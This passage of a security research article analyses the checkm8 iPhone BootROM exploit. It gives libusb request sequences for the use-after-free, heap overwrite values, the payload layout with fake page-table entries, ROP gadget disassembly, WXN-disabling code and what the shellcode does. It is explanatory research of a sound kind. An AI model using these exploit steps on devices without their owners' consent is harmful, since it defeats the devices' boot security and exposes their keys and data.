00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

You can also achieve an interesting effect by overflowing the configuration descriptors High Speed and Full Speed that are located right after the IO buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.


2. Allocation and freeing of the IO buffer without clearing the global state


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

At this stage, an incomplete OUT request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer . Then, DFU is reset with a DFU_CLR_STATUS request, and a new iteration of DFU begins.


3. Overwriting usb_device_io_request in the heap with use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite , whose content was defined at the first stage.


The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.


t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io . This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next points to INSECURE_MEMORY + 0x800 . Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain , which we'll discuss later on.


4. Placing the payload


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:


 0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. Execution of callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18тЖСj bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48тЖСj bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x .


The entire call chain can be easily emulated with Unicorn Engine . We did it with our modified version of the plugin uEmu .



The results of the entire chain for iPhone 7 can be found below.


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.


5.3. enter_critical_section()


Then, interrupts are masked for the atomic execution of further operations.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

A new value of the table register TTBR0_EL1 is set in 0x1800B0000 . It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

The translation table is invalidated in order to translate addresses according to our new translation table.


5.6ред 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.


5.8. tlbi


The translation table is reset again.


5.9. exit_critical_section()


Interrupt handling is back to normal.


5.10. 0x1800B0000


Control is transferred to the initializing shellcode .


Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.


6. Execution of shellcode


The shellcode is in src/checkm8_arm64.S and does the following:


6.1. Overwriting USB configuration descriptors


In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.


6.2. Changing USBSerialNumber


A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.


6.3. Overwriting the pointer of the USB request handler


The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.


6.4. Copying USB request handler into TRAMPOLINE memory area ( 0x1800AFC00 )


Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy , memset , and exec (calling an arbitrary address with an arbitrary set of arguments).


Thus, the analysis of the exploit is complete.


The implementation of the exploit at a lower level of working with USB


As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield . The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield , all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.



In place of a conclusion


Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed тАФ checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5 to A11 ) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch , Apple TV , etc. We expect more interesting projects for Apple devices to come.


Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8 , you can already boot iOS devices in verbose mode, dump SecureROM , or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8 , Apple research becomes way easier and cheaper.


References


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. an ipwndfu fork from LinusHenze

Source: https://habr.com/ru/post/hi472762/


All Articles